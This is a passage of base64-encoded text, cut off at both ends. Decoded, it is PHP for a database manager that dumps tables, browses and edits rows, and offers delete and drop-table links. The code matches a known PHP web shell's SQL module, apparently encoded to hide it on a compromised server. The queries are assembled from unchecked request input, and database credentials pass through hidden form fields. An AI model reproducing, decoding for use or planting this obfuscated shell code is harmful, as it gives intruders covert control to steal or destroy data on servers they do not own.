BoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkcmV0KSk7DQogICAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi5iYXNlbmFtZSgkc3FsX2R1bXBfZmlsZSkuIlwiOyIpOyANCiAgICAgIGVjaG8gJHJldDsNCiAgICAgIGV4aXQ7DQogICAgIH0NCiAgICAgZWxzZWlmICgkc3FsX2R1bXBfc2F2ZXRvZmlsZSkNCiAgICAgew0KICAgICAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2ZpbGUsInciKTsNCiAgICAgIGlmICghJGZwKSB7ZWNobyAiPGI+RHVtcCBlcnJvciEgQ2FuJ3Qgd3JpdGUgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kdW1wX2ZpbGUpLiJcIiEiO30NCiAgICAgIGVsc2UNCiAgICAgIHsNCiAgICAgICBmd3JpdGUoJGZwLCRyZXQpOw0KICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgIGVjaG8gIjxiPkR1bXBlZCEgRHVtcCBoYXMgYmVlbiB3cml0ZWQgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMocmVhbHBhdGgoJHNxbF9kdW1wX2ZpbGUpKS4iXCIgKCIudmlld19zaXplKGZpbGVzaXplKCRzcWxfZHVtcF9maWxlKSkuIik8L2I+LiI7DQogICAgICB9DQogICAgIH0NCiAgICAgZWxzZSB7ZWNobyAiPGI+RHVtcDogbm90aGluZyB0byBkbyE8L2I+Ijt9DQogICAgfQ0KICAgfQ0KICAgaWYgKCRkaXBsYXkpDQogICB7DQogICAgaWYgKCFlbXB0eSgkc3FsX3RibCkpDQogICAgew0KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfYWN0KSkgeyRzcWxfdGJsX2FjdCA9ICJicm93c2UiO30NCiAgICAgJGNvdW50ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCBDT1VOVCgqKSBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOw0KICAgICAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsNCiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsgICAgIA0KICAgICAkdGJsX3N0cnVjdF9yZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsNCiAgICAgJHRibF9zdHJ1Y3RfZmllbGRzID0gYXJyYXkoKTsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkdGJsX3N0cnVjdF9yZXN1bHQpKSB7JHRibF9zdHJ1Y3RfZmllbGRzW10gPSAkcm93O30gICAgIA0KICAgICBpZiAoJHNxbF9scyA+ICRzcWxfbGUpIHskc3FsX2xlID0gJHNxbF9scyArICRwZXJwYWdlO30NCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX3BhZ2UpKSB7JHNxbF90YmxfcGFnZSA9IDA7fQ0KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfbHMpKSB7JHNxbF90YmxfbHMgPSAwO30NCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyRzcWxfdGJsX2xlID0gMzA7fQ0KICAgICAkcGVycGFnZSA9ICRzcWxfdGJsX2xlIC0gJHNxbF90YmxfbHM7DQogICAgIGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHskcGVycGFnZSA9IDEwO30NCiAgICAgJG51bXBhZ2VzID0gJGNvdW50X3Jvd1swXS8kcGVycGFnZTsgDQogICAgICRlID0gZXhwbG9kZSgiICIsJHNxbF9vcmRlcik7DQogICAgIGlmIChjb3VudCgkZSkgPT0gMikNCiAgICAgew0KICAgICAgaWYgKCRlWzBdID09ICJkIikgeyRhc2NfZGVzYyA9ICJERVNDIjt9DQogICAgICBlbHNlIHskYXNjX2Rlc2MgPSAiQVNDIjt9DQogICAgICAkdiA9ICJPUkRFUiBCWSBgIi4kZVsxXS4iYCAiLiRhc2NfZGVzYy4iICI7DQogICAgIH0NCiAgICAgZWxzZSB7JHYgPSAiIjt9DQogICAgICRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgICIuJHYuIkxJTUlUICIuJHNxbF90YmxfbHMuIiAsICIuJHBlcnBhZ2UuIiI7DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpIG9yIHByaW50KG15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UYWJsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiIgKCIubXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KS4iIGNvbHMgYW5kICIuJGNvdW50X3Jvd1swXS4iIHJvd3MpPC9iPjwvY2VudGVyPiI7DQogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2FjdD1zdHJ1Y3R1cmVcIj5bJm5ic3A7PGI+U3RydWN0dXJlPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PWJyb3dzZVwiPlsmbmJzcDs8Yj5Ccm93c2U8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX2FjdD10YmxkdW1wJnRoaXN0Ymw9MVwiPlsmbmJzcDs8Yj5EdW1wPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PWluc2VydFwiPlsmbmJzcDs8Yj5JbnNlcnQ8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJzdHJ1Y3R1cmUiKSB7ZWNobyAiPGJyPjxicj48Yj5Db21pbmcgc29vb24hPC9iPiI7fQ0KICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJpbnNlcnQiKQ0KICAgICB7DQogICAgICBpZiAoIWlzX2FycmF5KCRzcWxfdGJsX2luc2VydCkpIHskc3FsX3RibF9pbnNlcnQgPSBhcnJheSgpO30NCiAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3JhZGlvKSkNCiAgICAgIHsNCg0KICAgICAgfQ0KICAgICAgZWxzZQ0KICAgICAgew0KICAgICAgIGVjaG8gIjxicj48YnI+PGI+SW5zZXJ0aW5nIHJvdyBpbnRvIHRhYmxlOjwvYj48YnI+IjsNCiAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkNCiAgICAgICB7DQogICAgICAgICRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kc3FsX3RibC4iYCI7DQogICAgICAgICRzcWxfcXVlcnkgLj0gIiBXSEVSRSIuJHNxbF90YmxfaW5zZXJ0X3E7DQogICAgICAgICRzcWxfcXVlcnkgLj0gIiBMSU1JVCAxOyI7DQogICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jaykgb3IgcHJpbnQoIjxicj48YnI+Ii5teXNxbF9zbWFydGVycm9yKCkpOw0KICAgICAgICAkdmFsdWVzID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7DQogICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgIH0NCiAgICAgICBlbHNlIHskdmFsdWVzID0gYXJyYXkoKTt9DQogICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZD48Yj5GaWVsZDwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkZ1bmN0aW9uPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KICAgICAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0X2ZpZWxkcyBhcyAkZmllbGQpDQogICAgICAgew0KICAgICAgICAkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCiAgICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0gIiI7fQ0KICAgICAgICBlY2hvICI8dHI+PHRkPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIjwvYj48L3RkPjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9XCJzcWxfdGJsX2luc2VydF9mdW5jdHNbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiPjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj48b3B0aW9uPlBBU1NXT1JEPC9vcHRpb24+PG9wdGlvbj5NRDU8L29wdGlvbj48b3B0aW9uPkVOQ1JZUFQ8L29wdGlvbj48b3B0aW9uPkFTQ0lJPC9vcHRpb24+PG9wdGlvbj5DSEFSPC9vcHRpb24+PG9wdGlvbj5SQU5EPC9vcHRpb24+PG9wdGlvbj5MQVNUX0lOU0VSVF9JRDwvb3B0aW9uPjxvcHRpb24+Q09VTlQ8L29wdGlvbj48b3B0aW9uPkFWRzwvb3B0aW9uPjxvcHRpb24+U1VNPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIlwiPi0tLS0tLS0tPC9vcHRpb24+PG9wdGlvbj5TT1VOREVYPC9vcHRpb24+PG9wdGlvbj5MQ0FTRTwvb3B0aW9uPjxvcHRpb24+VUNBU0U8L29wdGlvbj48b3B0aW9uPk5PVzwvb3B0aW9uPjxvcHRpb24+Q1VSREFURTwvb3B0aW9uPjxvcHRpb24+Q1VSVElNRTwvb3B0aW9uPjxvcHRpb24+RlJPTV9EQVlTPC9vcHRpb24+PG9wdGlvbj5GUk9NX1VOSVhUSU1FPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfQUREPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfRElGRjwvb3B0aW9uPjxvcHRpb24+VE9fREFZUzwvb3B0aW9uPjxvcHRpb24+VU5JWF9USU1FU1RBTVA8L29wdGlvbj48b3B0aW9uPlVTRVI8L29wdGlvbj48b3B0aW9uPldFRUtEQVk8L29wdGlvbj48b3B0aW9uPkNPTkNBVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2luc2VydFsiLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlc1skbmFtZV0pLiJcIiBzaXplPTUwPjwvdGQ+PC90cj4iOw0KICAgICAgICAkaSsrOw0KICAgICAgIH0NCiAgICAgICBlY2hvICI8L3RhYmxlPjxicj4iOw0KICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjFcIiI7IGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PGI+SW5zZXJ0IGFzIG5ldyByb3c8L2I+IjsNCiAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBvciA8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIyXCIgY2hlY2tlZD48Yj5TYXZlPC9iPiI7IGVjaG8gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3FcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibF9pbnNlcnRfcSkuIlwiPiI7fQ0KICAgICAgIGVjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+IjsNCiAgICAgIH0NCiAgICAgfQ0KICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJicm93c2UiKQ0KICAgICB7DQogICAgICAkc3FsX3RibF9scyA9IGFicygkc3FsX3RibF9scyk7DQogICAgICAkc3FsX3RibF9sZSA9IGFicygkc3FsX3RibF9sZSk7DQogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgICBlY2hvICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPW11bHRpcGFnZVwiIGhlaWdodD1cIjEyXCIgd2lkdGg9XCIxMFwiIGFsdD1cIlBhZ2VzXCI+Jm5ic3A7IjsNCiAgICAgICRiID0gMDsNCiAgICAgIGZvcigkaT0wOyRpPCRudW1wYWdlczskaSsrKQ0KICAgICAgew0KICAgICAgIGlmICgoJGkqJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgkaSokcGVycGFnZSskcGVycGFnZSAhPSAkc3FsX3RibF9sZSkpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX29yZGVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX29yZGVyKS4iJnNxbF90YmxfbHM9Ii4oJGkqJHBlcnBhZ2UpLiImc3FsX3RibF9sZT0iLigkaSokcGVycGFnZSskcGVycGFnZSkuIlwiPjx1PiI7fQ0KICAgICAgIGVjaG8gJGk7DQogICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjwvdT48L2E+Ijt9DQogICAgICAgaWYgKCgkaS8zMCA9PSByb3VuZCgkaS8zMCkpIGFuZCAoJGkgPiAwKSkge2VjaG8gIjxicj4iO30NCiAgICAgICBlbHNlIHtlY2hvICImbmJzcDsiO30NCiAgICAgIH0NCiAgICAgIGlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30NCiAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIkdFVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9vcmRlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiJcIj48Yj5Gcm9tOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sc1wiIHZhbHVlPVwiIi4kc3FsX3RibF9scy4iXCI+Jm5ic3A7PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xlXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xlLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwvZm9ybT4iOw0KICAgICAgZWNobyAiPGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMSVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPiI7DQogICAgICBlY2hvICI8dHI+IjsNCiAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd19hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPiI7DQogICAgICBmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKQ0KICAgICAgew0KICAgICAgICR2ID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsNCiAgICAgICBpZiAoJGVbMF0gPT0gImEiKSB7JHMgPSAiZCI7ICRtID0gImFzYyI7fQ0KICAgICAgIGVsc2UgeyRzID0gImEiOyAkbSA9ICJkZXNjIjt9DQogICAgICAgZWNobyAiPHRkPiI7DQogICAgICAgaWYgKGVtcHR5KCRlWzBdKSkgeyRlWzBdID0gImEiO30NCiAgICAgICBpZiAoJGVbMV0gIT0gJHYpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRlWzBdLiIlMjAiLiR2LiJcIj48Yj4iLiR2LiI8L2I+PC9hPiI7fQ0KICAgICAgIGVsc2Uge2VjaG8gIjxiPiIuJHYuIjwvYj48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRzLiIlMjAiLiR2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfIi4kbS4iXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBhbHQ9XCIiLiRtLiJcIj48L2E+Ijt9DQogICAgICAgZWNobyAiPC90ZD4iOw0KICAgICAgfQ0KICAgICAgZWNobyAiPHRkPjxmb250IGNvbG9yPVwiZ3JlZW5cIj48Yj5BY3Rpb248L2I+PC9mb250PjwvdGQ+IjsNCiAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQ0KICAgICAgew0KICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICR3ID0gIiI7DQogICAgICAgJGkgPSAwOw0KICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOyAkdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hlcygkdikuIicgQU5EIjsgJGkrKzt9DQogICAgICAgaWYgKGNvdW50KCRyb3cpID4gMCkgeyR3ID0gc3Vic3RyKCR3LDAsc3RybGVuKCR3KS0zKTt9DQogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93W11cIiB2YWx1ZT1cIiIuJHcuIlwiPjwvdGQ+IjsNCiAgICAgICAkaSA9IDA7DQogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpDQogICAgICAgew0KICAgICAgICAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOw0KICAgICAgICBpZiAoJHYgPT0gIiIpIHskdiA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+TlVMTDwvZm9udD4iO30NCiAgICAgICAgZWNobyAiPHRkPiIuJHYuIjwvdGQ+IjsNCiAgICAgICAgJGkrKzsNCiAgICAgICB9DQogICAgICAgZWNobyAiPHRkPiI7DQogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHcuIiBMSU1JVCAxOyIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRlbGV0ZVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7IjsNCiAgICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfaW5zZXJ0X3E9Ii51cmxlbmNvZGUoJHcpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkVkaXRcIiBoZWlnaHQ9XCIxNFwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyI7DQogICAgICAgZWNobyAiPC90ZD4iOw0KICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIH0NCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwibGVmdFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3QgbmFtZT1cInNxbF9hY3RcIj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJkZWxldGVyb3dcIj5EZWxldGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7DQogICAgIH0NCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFIFNUQVRVUyIsICRzcWxfc29jayk7DQogICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgZWxzZQ0KICAgICB7DQogICAgICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsX2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+PHRkPjxjZW50ZXI+PGI+VGFibGU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGI+Um93czwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkNyZWF0ZWQ8L2I+PC90ZD48dGQ+PGI+TW9kaWZpZWQ8L2I+PC90ZD48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7DQogICAgICAkaSA9IDA7DQogICAgICAkdHNpemUgPSAkdHJvd3MgPSAwOw0KICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpDQogICAgICB7DQogICAgICAgJHRzaXplICs9ICRyb3dbIkRhdGFfbGVuZ3RoIl07DQogICAgICAgJHRyb3dzICs9ICRyb3dbIlJvd3MiXTsNCiAgICAgICAkc2l6ZSA9IHZpZXdfc2l6ZSgkcm93WyJEYXRhX2xlbmd0aCJdKTsNCiAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3h0YmxbXVwiIHZhbHVlPVwiIi4kcm93WyJOYW1lIl0uIlwiPjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRyb3dbIk5hbWUiXSkuIlwiPjxiPiIuJHJvd1siTmFtZSJdLiI8L2I+PC9hPiZuYnNwOzwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJSb3dzIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJUeXBlIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJDcmVhdGVfdGltZSJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVXBkYXRlX3RpbWUiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRzaXplLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRyb3dbIk5hbWUiXS4iYCIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZW1wdHlcIiBhbHQ9XCJFbXB0eVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiRFJPUCBUQUJMRSBgIi4kcm93WyJOYW1lIl0uImAiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zcWxfYnV0dG9uX2Ryb3BcIiBhbHQ9XCJEcm9wXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIuJHJvd1siTmFtZSJdLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25faW5zZXJ0XCIgYWx0PVwiSW5zZXJ0XCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8L3RkPiI7DQogICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgICRpKys7DQogICAgICB9DQogICAgICBlY2hvICI8dHIgYmdjb2xvcj1cIjAwMDAwMFwiPiI7DQogICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj67PC9iPjwvY2VudGVyPjwvdGQ+IjsNCi